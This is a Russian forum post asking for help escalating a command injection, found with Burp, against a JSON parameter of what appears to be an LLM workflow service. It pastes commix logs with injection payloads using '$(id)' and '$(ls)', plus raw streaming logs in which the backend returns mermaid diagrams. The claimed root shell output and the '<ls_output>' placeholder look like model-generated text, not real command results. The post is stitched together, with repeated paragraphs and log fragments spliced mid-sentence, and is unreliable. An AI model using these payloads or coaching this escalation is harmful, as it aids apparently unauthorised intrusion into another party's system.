Всех приветствую, нужна помощь, окунь выдал Command injection с уязвимостью в inputs.query.
Закинул уязву в commix и раскрутил до pseudo-terminal shell (os-shell)
Проблема начинается при использовании os-shell
При вводе команд, ответ выдается в формате mermaid диаграммы, и при выполнении простых команд ( id) , он выдает ответ как раз таки в странном формате
Из ответа можно понять что я нахожусь по рутом, но при попытке выполнения дальнейших команд, os-shell либо просто отказывается их выполнять
Либо!!! Он ее выполняет, но в ответ посылает затычку, якобы команда выполнена но, содержимое ответа не выводит
Он просто выкинул заглушку: Final Output: <ls_output> , но не дал конкретного ответа.
Про выполнение каких либо,более тяжелых команд я молчу...
Если есть те, кто понимает, в чем проблема, прошу совета!)
Либо, если есть мысли по реализации, пишите, буду пробовать.....
Закинул уязву в commix и раскрутил до pseudo-terminal shell (os-shell)
[09:31:52] [info] POST JSON parameter 'inputs.query' appears to be injectable via (results-based) classic command injection technique.
|_ ;echo PWTBDR$((82+1))$(echo PWTBDR)PWTBDR
POST JSON parameter 'inputs.query' is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] >
Pseudo-Terminal Shell (type '?' for available options)
commix(os_shell)
|_ ;echo PWTBDR$((82+1))$(echo PWTBDR)PWTBDR
POST JSON parameter 'inputs.query' is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] >
Pseudo-Terminal Shell (type '?' for available options)
commix(os_shell)
Проблема начинается при использовании os-shell
При вводе команд, ответ выдается в формате mermaid диаграммы, и при выполнении простых команд ( id) , он выдает ответ как раз таки в странном формате
uid=0(root) gid=0(root) groups=0(root) \"]:::result\n`
", "usage": {"prompt_tokens": 474, "prompt_unit_price": "0.0", "prompt_price_unit": "0.0", "prompt_price": "0.0", "completion_tokens": 153, "completion_unit_price": "0.0", "completion_price_unit": "0.0", "completion_price": "0.0", "total_tokens": 627, "total_price": "0.0", "currency": "USD", "latency": 2.3949362612329423}, "finish_reason": "stop"}, "status": "succeeded", "error": null, "elapsed_time": 6.471346, "execution_metadata": {"total_tokens": 627, "total_price": "0.0", "currency": "USD"}, "created_at": 1753166330, "finished_at": 1753166337, "files": [], "parallel_id": null, "parallel_start_node_id": null, "parent_parallel_id": null, "parent_parallel_start_node_id": null, "iteration_id": null}} data: {"event": "node_started", "workflow_run_id": "76015197-aa67-4122-bf2a-0b150ba96e1f", "task_id": "fbe5fe1f-efdc-47b2-8c0b-214a9339750e", "data": {"id": "92617e18-bd52-444d-b3d9-2bb3052c2420", "node_id": "1747027956967", "node_type": "end", "title": "\u7ed3\u675f", "index": 3, "predecessor_node_id": "1747030558518", "inputs": null, "created_at": 1753166337, "extras": {}, "parallel_id": null, "parallel_start_node_id": null, "parent_parallel_id": null, "parent_parallel_start_node_id": null, "iteration_id": null, "parallel_run_id": null}} data: {"event": "node_finished", "workflow_run_id": "76015197-aa67-4122-bf2a-0b150ba96e1f", "task_id": "fbe5fe1f-efdc-47b2-8c0b-214a9339750e", "data": {"id": "92617e18-bd52-444d-b3d9-2bb3052c2420", "node_id": "1747027956967", "node_type": "end", "title": "\u7ed3\u675f", "index": 3, "predecessor_node_id": "1747030558518", "inputs": {"text": "mermaid\nflowchart LR\n classDef operation fill:#FF5733,stroke:#C70039,color:white\n classDef result fill:#DAF7A6,stroke:#2ECC71\n\n A[\"expr 9000264592 - 936967\"]:::operation --> B[\"9000264592 - 936967 = 8999327625\"]:::result\n C[\"echo PWTBDR$(echo PWTBDR)$(id)$(echo PWTBDR)PWTBDR\"]:::operation --> D[\" uid=0(root) gid=0(root) groups=0(root) \"]:::result\n"}, "process_data": null, "outputs": {"text": "mermaid\nflowchart LR\n classDef operation fill:#FF5733,stroke:#C70039,color:white\n classDef result fill:#DAF7A6,stroke:#2ECC71\n\n A[\"expr 9000264592 - 936967\"]:::operation --> B[\"9000264592 - 936967 = 8999327625\"]:::result\n C[\"echo PWTBDR$(echo PWTBDR)$(id)$(echo PWTBDR)PWTBDR\"]:::operation --> D[\" uid=0(root) gid=0(root) groups=0(root) \"]:::result\n"}, "status": "succeeded", "error": null, "elapsed_time": 0.013434, "execution_metadata": null, "created_at": 1753166337, "finished_at": 1753166337, "files": [], "parallel_id": null, "parallel_start_node_id": null, "parent_parallel_id": null, "parent_parallel_start_node_id": null, "iteration_id": null}} data: {"event": "workflow_finished", "workflow_run_id": "76015197-aa67-4122-bf2a-0b150ba96e1f", "task_id": "fbe5fe1f-efdc-47b2-8c0b-214a9339750e", "data": {"id": "76015197-aa67-4122-bf2a-0b150ba96e1f", "workflow_id": "0f3e1d44-fd74-40c3-b9c5-1786dc5bef9e", "sequence_number": 114006, "status": "succeeded", "outputs": {"text": "`mermaid\nflowchart LR\n classDef operation fill:#FF5733,stroke:#C70039,color:white\n classDef result fill:#DAF7A6,stroke:#2ECC71\n\n A[\"expr 9000264592 - 936967\"]:::operation --> B[\"9000264592 - 936967 = 8999327625\"]:::result\n C[\"echo PWTBDR$(echo PWTBDR)$(id)$(echo PWTBDR)PWTBDR\"]:::operation --> D[\" uid=0(root) gid=0(root) groups=0(root)Из ответа можно понять что я нахожусь по рутом, но при попытке выполнения дальнейших команд, os-shell либо просто отказывается их выполнять
commix(os_shell) > whoami
[09:39:30] [critical] Execution of the 'whoami' command did not return any output.
[09:39:30] [critical] Execution of the 'whoami' command did not return any output.
commix(os_shell) > ls
<ls_output> \"]:::result\n`
<ls_output> \"]:::result\n`
", "usage": {"prompt_tokens": 474, "prompt_unit_price": "0.0", "prompt_price_unit": "0.0", "prompt_price": "0.0", "completion_tokens": 218, "completion_unit_price": "0.0", "completion_price_unit": "0.0", "completion_price": "0.0", "total_tokens": 692, "total_price": "0.0", "currency": "USD", "latency": 10.833195498678833}, "finish_reason": "stop"}, "status": "succeeded", "error": null, "elapsed_time": 10.848803, "execution_metadata": {"total_tokens": 692, "total_price": "0.0", "currency": "USD"}, "created_at": 1753166485, "finished_at": 1753166496, "files": [], "parallel_id": null, "parallel_start_node_id": null, "parent_parallel_id": null, "parent_parallel_start_node_id": null, "iteration_id": null}} data: {"event": "node_started", "workflow_run_id": "9a35c265-5f25-4b19-87d4-4ec071706097", "task_id": "9d6df8bb-2b38-47eb-99fc-dfc68b9c3a70", "data": {"id": "7744e7d9-1f2c-4c07-ab81-e63bdadaca74", "node_id": "1747027956967", "node_type": "end", "title": "\u7ed3\u675f", "index": 3, "predecessor_node_id": "1747030558518", "inputs": null, "created_at": 1753166496, "extras": {}, "parallel_id": null, "parallel_start_node_id": null, "parent_parallel_id": null, "parent_parallel_start_node_id": null, "iteration_id": null, "parallel_run_id": null}} data: {"event": "node_finished", "workflow_run_id": "9a35c265-5f25-4b19-87d4-4ec071706097", "task_id": "9d6df8bb-2b38-47eb-99fc-dfc68b9c3a70", "data": {"id": "7744e7d9-1f2c-4c07-ab81-e63bdadaca74", "node_id": "1747027956967", "node_type": "end", "title": "\u7ed3\u675f", "index": 3, "predecessor_node_id": "1747030558518", "inputs": {"text": "mermaid\nflowchart LR\n classDef operation fill:#FF5733,stroke:#C70039,color:white,stroke-width:2px\n classDef result fill:#33FF57,stroke:#2ECC71,color:black,stroke-width:1.5px\n classDef command fill:#3357FF,stroke:#3498DB,color:white,stroke-width:1.5px\n\n Start:::operation --> A[\"expr 9000264592 - 936967\"]:::operation\n A --> B[\"Result: 8999327625\"]:::result\n B --> C[\"echo PWTBDR\"]:::command\n C --> D[\"$(echo PWTBDR)\"]:::command\n D --> E[\"$(ls)\"]:::command\n E --> F[\"$(echo PWTBDR)\"]:::command\n F --> G[\"Final Output: <ls_output> \"]:::result\n"}, "process_data": null, "outputs": {"text": "mermaid\nflowchart LR\n classDef operation fill:#FF5733,stroke:#C70039,color:white,stroke-width:2px\n classDef result fill:#33FF57,stroke:#2ECC71,color:black,stroke-width:1.5px\n classDef command fill:#3357FF,stroke:#3498DB,color:white,stroke-width:1.5px\n\n Start:::operation --> A[\"expr 9000264592 - 936967\"]:::operation\n A --> B[\"Result: 8999327625\"]:::result\n B --> C[\"echo PWTBDR\"]:::command\n C --> D[\"$(echo PWTBDR)\"]:::command\n D --> E[\"$(ls)\"]:::command\n E --> F[\"$(echo PWTBDR)\"]:::command\n F --> G[\"Final Output: <ls_output> \"]:::result\n"}, "status": "succeeded", "error": null, "elapsed_time": 0.014288, "execution_metadata": null, "created_at": 1753166496, "finished_at": 1753166496, "files": [], "parallel_id": null, "parallel_start_node_id": null, "parent_parallel_id": null, "parent_parallel_start_node_id": null, "iteration_id": null}} data: {"event": "workflow_finished", "workflow_run_id": "9a35c265-5f25-4b19-87d4-4ec071706097", "task_id": "9d6df8bb-2b38-47eb-99fc-dfc68b9c3a70", "data": {"id": "9a35c265-5f25-4b19-87d4-4ec071706097", "workflow_id": "0f3e1d44-fd74-40c3-b9c5-1786dc5bef9e", "sequence_number": 114012, "status": "succeeded", "outputs": {"text": "`mermaid\nflowchart LR\n classDef operation fill:#FF5733,stroke:#C70039,color:white,stroke-width:2px\n classDef result fill:#33FF57,stroke:#2ECC71,color:black,stroke-width:1.5px\n classDef command fill:#3357FF,stroke:#3498DB,color:white,stroke-width:1.5px\n\n Start:::operation --> A[\"expr 9000264592 - 936967\"]:::operation\n A --> B[\"Result: 8999327625\"]:::result\n B --> C[\"echo PWTBDR\"]:::command\n C --> D[\"$(echo PWTBDR)\"]:::command\n D --> E[\"$(ls)\"]:::command\n E --> F[\"$(echo PWTBDR)\"]:::command\n F --> G[\"Final Output: <ls_output>Он просто выкинул заглушку: Final Output: <ls_output> , но не дал конкретного ответа.
Про выполнение каких либо,более тяжелых команд я молчу...
Если есть те, кто понимает, в чем проблема, прошу совета!)
Либо, если есть мысли по реализации, пишите, буду пробовать.....